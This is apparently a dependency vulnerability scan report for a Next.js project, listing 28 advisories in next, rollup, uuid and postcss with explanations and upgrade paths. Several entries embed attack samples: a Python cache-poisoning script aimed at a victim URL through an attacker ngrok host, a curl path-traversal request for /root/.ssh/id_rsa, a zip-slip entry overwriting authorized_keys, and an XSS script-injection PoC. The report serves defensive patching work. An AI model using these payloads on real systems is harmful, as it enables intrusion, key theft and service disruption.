Vulnerabilities

28 via 28 paths

Dependencies

319

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Severity
  • 1
  • 14
  • 10
  • 3
Status
  • 28
  • 0
  • 0

critical severity

Improper Authorization

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@14.2.25.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Improper Authorization due to the improper handling of the x-middleware-subrequest header. An attacker can bypass authorization checks by sending crafted requests containing this specific header.

Workaround

This can be mitigated by preventing external user requests which contain the x-middleware-subrequest header from reaching your Next.js application.

Remediation

Upgrade next to version 12.3.5, 13.5.9, 14.2.25, 15.2.3, 15.3.0-canary.12 or higher.

References

high severity

Acceptance of Extraneous Untrusted Data With Trusted Data

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@14.2.10.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Acceptance of Extraneous Untrusted Data With Trusted Data by sending a crafted HTTP request, which allows the attacker to poison the cache of a non-dynamic server-side rendered route in the page router. This will coerce the request to cache a route that is meant to not be cached and send a Cache-Control: s-maxage=1, a stale-while-revalidate header, which some upstream CDNs may cache as well.

Note:

This is only vulnerable if:

  1. The user is using pages router

  2. The user is using non-dynamic server-side rendered routes.

Users are not affected if:

  1. They are using the app router

  2. The deployments are on Vercel

PoC

import shutil
import os
import requests
from urllib.parse import quote
import time  #Import the time module

source_image = "chillguy.jpg"  #Image file
attacker_url_base = "your_ngrok_url" #your ngrok url
upload_endpoint = "https://victim_url.com"  #victim url

def copy_and_upload_image(file_name, num_copies):
    if not os.path.exists(source_image):
        print(f"File {source_image} not found")
        return

    for i in range(1, num_copies + 1):
        new_image_name = f"chillguy{i}.jpg"#change the name of image file too if you change at line 7 before

        # image file increment
        shutil.copy(source_image, new_image_name)
        print(f"Copy of: {new_image_name}")

        # URL combination
        image_url = f"{upload_endpoint}/_next/image?url={attacker_url_base}/{new_image_name}&w=256&q=100"

        # Deactive SSL verification
        try:
            response = requests.get(upload_endpoint, verify=False)
            if response.status_code == 200:
                print(f"Image {new_image_name} uploaded to {upload_endpoint}, url: {image_url}")
            else:
                print(f"Failed to upload {new_image_name}. Status: {response.status_code}, Response: {response.text}")
        except Exception as e:
            print(f"Error {new_image_name}: {e}")

          # 1 minute delay
        print(f"Wait a minute... {new_image_name}...")
        time.sleep(60) 

        # delete copy of image file on your local system
        os.remove(new_image_name)
        print(f"Delete: {new_image_name}")

#input
try:
    num_copies = int(input("Enter how many copies of your image: "))
    copy_and_upload_image("chillguy.jpg", num_copies)#change the name of image file too if you change at line 7 before
except ValueError:
    print("Please input number only.")

Remediation

Upgrade next to version 13.5.7, 14.2.10 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@15.0.8.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the decoding reply functions of React Flight protocol. An attacker can cause server crashes, out-of-memory exceptions, or excessive CPU usage by sending specially crafted HTTP requests to Server Function endpoints.

Notes:

  • This issue is a result of an incomplete fix for CVE-2025-55184
  • If your app’s React code does not use a server, your app is not affected by these vulnerabilities.
  • If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by these vulnerabilities.

Remediation

Upgrade next to version 15.0.8, 15.1.12, 15.2.9, 15.3.9, 15.4.11, 15.5.10, 15.6.0-canary.61, 16.0.11, 16.1.5, 16.2.0-canary.9 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@15.5.15.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the createMap, createSet, and extractIterator functions in packages/react-server/src/ReactFlightReplyServer.js. An attacker can crash the server by supplying a model that contains cyclic reference and is consumed more than once during React Server Components decoding. The repeated consumption triggers an exception during reply processing, breaking rendering for requests that handle attacker-controlled Flight payloads.

Remediation

Upgrade next to version 15.5.15, 16.2.3 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@15.5.16.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via server function endpoints. An attacker can cause out-of-memory exceptions or induce excessive CPU usage by sending malicious FormData in an HTTP request.

Note: Only React apps that use React Server Components are vulnerable.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@14.2.34.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to unsafe deserialization of payloads from HTTP requests to Server Function endpoints. An attacker can cause the server process to enter an infinite loop and hang, preventing it from serving future HTTP requests by sending specially crafted payloads.

Notes:

Even if your app does not implement any React Server Function endpoints it may still be vulnerable if your app supports React Server Components.

If your app’s React code does not use a server, your app is not affected by these vulnerabilities. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by these vulnerabilities.

For React Native users not using a monorepo or react-dom, your react version should be pinned in your package.json, and there are no additional steps needed.

If you are using React Native in a monorepo, you should update only the impacted packages if they are installed: react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack. This is required to mitigate the security advisories, but you do not need to update react and react-dom so this will not cause the version mismatch error in React Native. See this issue for more information.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade next to version 14.2.34, 15.0.6, 15.1.10, 15.2.7, 15.3.7, 15.4.9, 15.5.8, 16.0.9, 16.1.0-canary.19 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: rollup
  • Introduced through: @sentry/nextjs@8.55.2

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse @sentry/nextjs@8.55.2 rollup@3.29.5
    Remediation: Upgrade to @sentry/nextjs@9.39.0.

Overview

rollup is a Next-generation ES module bundler

Affected versions of this package are vulnerable to Directory Traversal in the Bundle class in bundle.ts, which handles file name sanitization in the core engine. An attacker can overwrite arbitrary files on the host filesystem outside the application root by supplying malicious output filenames containing traversal sequences through CLI named inputs, manual chunk aliases, or malicious plugins. This can allow further attacks in which critical system or user configuration files are read and executed in unintended ways.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade rollup to version 2.80.0, 3.30.0, 4.59.0 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@14.2.32.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the resolve-routes. An attacker can access internal resources and potentially exfiltrate sensitive information by crafting requests containing user-controlled headers (e.g., Location) that are forwarded or interpreted without validation.

Note: This is only exploitable if custom middleware logic is implemented in a self-hosted deployment. The project maintainers recommend using the documented NextResponse.next({request}) to explicitly pass the request object.

Remediation

Upgrade next to version 14.2.32, 15.4.2-canary.43, 15.4.7 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@15.5.10.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the fetchExternalImage() function, which is used for image optimization and loads external images into memory without a maximum size limit. An attacker can exhaust system memory and disrupt service availability by requesting optimization of very large images from external domains.

Note:

This is only exploitable if remotePatterns is configured to allow image optimization from external domains and the attacker can serve or control a large image on an allowed domain.

Remediation

Upgrade next to version 15.5.10, 16.1.1-canary.15, 16.1.5 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@15.5.16.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the Image Optimization API when handling requests to the /_next/image endpoint that match the images.localPatterns configuration. An attacker can exhaust server memory and cause a denial of service by requesting large local assets, leading to out-of-memory conditions.

Note: This is only exploitable if the default image loader is used and the images.localPatterns configuration allows access to large local files.

Workaround

This vulnerability can be mitigated by disabling routing of large local assets through /_next/image, disabling image optimization for large or untrusted local files, blocking image optimization access to those assets at the edge, or setting images.localPatterns: [] in the configuration.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

high severity
new

Incorrect Authorization

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@15.5.16.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Incorrect Authorization in the /_next/data/<buildId>/<page>.json route when i18n is configured and authorization is enforced via middleware or proxy. An attacker can gain unauthorized access to sensitive server-side-rendered JSON data for protected pages by making locale-less requests that bypass the intended authorization checks.

Workaround

This vulnerability can be mitigated by enforcing authorization within the page's server-side data path rather than relying solely on middleware.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

high severity

Missing Authorization

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@14.2.15.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Missing Authorization when using pathname-based checks in middleware for authorization decisions. If i18n configuration is not configured, an attacker can get unintended access to pages one level under the application's root directory.

e.g. https://example.com/foo is accessible. https://example.com/ and https://example.com/foo/bar are not.

Note:

Only self-hosted applications are vulnerable. The vulnerability has been fixed by Vercel on the server side.

Remediation

Upgrade next to version 13.5.8, 14.2.15, 15.0.0-canary.177 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@14.2.7.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the image optimization feature. An attacker can cause excessive CPU consumption by exploiting this vulnerability.

Workaround

Ensure that the next.config.js file has either images.unoptimized, images.loader or images.loaderFile assigned.

Remediation

Upgrade next to version 14.2.7, 15.0.0-canary.109 or higher.

References

high severity
new

Improper Validation of Specified Index, Position, or Offset in Input

  • Vulnerable module: uuid
  • Introduced through: @sentry/nextjs@8.55.2

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse @sentry/nextjs@8.55.2 @sentry/webpack-plugin@2.22.7 uuid@9.0.1
    Remediation: Upgrade to @sentry/nextjs@10.40.0.

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

high severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@15.5.16.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via crafted WebSocket upgrade requests. An attacker can access internal or external resources by sending specially crafted requests with absolute-url that cause the server to proxy connections to arbitrary destinations, potentially exposing sensitive internal services or cloud metadata endpoints.

Workaround

This vulnerability can be mitigated by not exposing the origin server directly to untrusted networks, blocking WebSocket upgrades at the reverse proxy or load balancer if not required, and restricting origin egress to internal networks and metadata services where possible.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@16.1.7.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of an upper bound on the disk cache used by the image optimization. An attacker can exhaust disk storage by generating a large number of unique image optimization variants, leading to service disruption.

Workaround

This vulnerability can be mitigated by periodically cleaning the .next/cache/images directory or by reducing the number of possible image variants through configuration of images.localPatterns, images.remotePatterns, and images.qualities.

Remediation

Upgrade next to version 16.1.7, 16.2.0-canary.54 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@14.2.21.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the Server Actions process. An attacker can cause the server to hang by constructing requests that leave Server-Actions requests pending until the hosting provider terminates the function execution.

Note:

This is only exploitable if there are no protections against long-running Server Action invocations.

Remediation

Upgrade next to version 13.5.8, 14.2.21, 15.1.2 or higher.

References

medium severity
new

Acceptance of Extraneous Untrusted Data With Trusted Data

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@15.5.16.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Acceptance of Extraneous Untrusted Data With Trusted Data through the improper handling of the x-nextjs-data header in middleware or proxy redirect responses. An attacker can disrupt access to redirect paths by injecting this header in requests, causing the middleware to generate a redirect response lacking a standard Location header. If a CDN or reverse proxy caches this malformed response without varying on the injected header, subsequent users may receive unusable redirects, resulting in service disruption until the cache is cleared.

Workaround

This vulnerability can be mitigated by configuring the CDN or reverse proxy to vary its cache key on x-nextjs-data for affected responses.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@15.5.13.

Overview

next is a react framework.

Affected versions of this package are vulnerable to HTTP Request Smuggling during the rewrite of the proxy traffic to an external backend. An attacker can access unintended backend routes by sending crafted DELETE or OPTIONS requests with Transfer-Encoding: chunked headers. This is only exploitable if the application is not hosted on providers that handle rewrites at the CDN level.

Workaround

This vulnerability can be mitigated by blocking chunked DELETE/OPTIONS requests on rewritten routes at the edge/proxy, or by enforcing authentication and authorization on backend routes.

Remediation

Upgrade next to version 15.5.13, 16.1.7, 16.2.0-canary.102 or higher.

References

medium severity
new

Interpretation Conflict

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@15.5.16.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Interpretation Conflict via improper handling of shared cache entries for React Server Component responses. An attacker can cause unintended component payloads to be served to other users by manipulating shared cache behavior through crafted requests.

Workaround

This vulnerability can be mitigated by ensuring your CDN or reverse proxy keys on the relevant RSC request headers honor Vary, or by disabling shared caching for affected App Router and RSC responses.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

medium severity

Race Condition

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@14.2.24.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Race Condition in the Pages Router. An attacker can cause the server to serve incorrect pageProps data instead of the expected HTML content by exploiting a race condition between two requests, one containing the ?__nextDataRequest=1 query parameter and another with the x-now-route-matches header.

Notes:

  1. This is only exploitable if the CDN provider caches a 200 OK response even in the absence of explicit cache-control headers, enabling a poisoned response to persist and be served to subsequent users;

  2. No backend access or privileged escalation is possible through this vulnerability;

  3. Applications hosted on Vercel's platform are not affected by this issue, as the platform does not cache responses based solely on 200 OK status without explicit cache-control headers.

  4. This is a bypass of the fix for CVE-2024-46982

Workaround

This can be mitigated by stripping the x-now-route-matches header from all incoming requests at your CDN and setting cache-control: no-store for all responses under risk.

Remediation

Upgrade next to version 14.2.24, 15.1.6 or higher.

References

medium severity

Use of Cache Containing Sensitive Information

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@14.2.31.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in the image optimization process, when responses from API routes vary based on request headers such as Cookie or Authorization. An attacker can gain unauthorized access to sensitive image data by exploiting cache key confusion, causing responses intended for authenticated users to be served to unauthorized users.

Note: Exploitation requires a prior authorized request to populate the cache.

Remediation

Upgrade next to version 14.2.31, 15.4.2-canary.19, 15.4.5 or higher.

References

medium severity
new

Use of Weak Hash

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@15.5.16.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Use of Weak Hash via collisions in the _rsc cache-busting process. An attacker can manipulate cache entries by crafting requests that cause shared caches to serve incorrect response variants to users. This is only exploitable if deployments rely on shared caches with insufficient response partitioning.

Workaround

This vulnerability can be mitigated by ensuring intermediary caches correctly honor Vary for RSC-related request headers, or by disabling shared caching for affected RSC responses until a patched release is deployed.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

medium severity
new

Cross-site Scripting (XSS)

  • Vulnerable module: postcss
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5 postcss@8.4.31

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in CSS Stringify Output. An attacker can execute arbitrary JavaScript code in the context of the affected web page by submitting crafted CSS containing </style> sequences that are not properly escaped when embedded within HTML <style> tags.

PoC

const postcss = require('postcss');

// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;

console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade postcss to version 8.5.10 or higher.

References

medium severity
new

Cross-site Scripting (XSS)

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@15.5.16.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the beforeInteractive process, when untrusted input is embedded without proper escaping. An attacker can execute arbitrary JavaScript in a user's browser by injecting malicious content into the serialized script.

Workaround

This vulnerability can be mitigated by not passing untrusted data into beforeInteractive scripts, or by sanitizing or escaping the content before embedding it.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

low severity
new

Cross-site Scripting (XSS)

  • Vulnerable module: next
  • Introduced through: next@14.2.5

Detailed paths

  • Introduced through: nextjs14-carepulse@ladunjexa/nextjs14-carepulse next@14.2.5
    Remediation: Upgrade to next@15.5.16.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the CSP nonce headers. An attacker can inject malicious scripts into cached HTML responses by supplying malformed nonce values, which may then be executed in the browsers of subsequent visitors. This is possible when applications are deployed behind shared caches and rely on request-derived nonce values.

Workaround

This vulnerability can be mitigated by stripping inbound Content-Security-Policy request headers from untrusted traffic.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

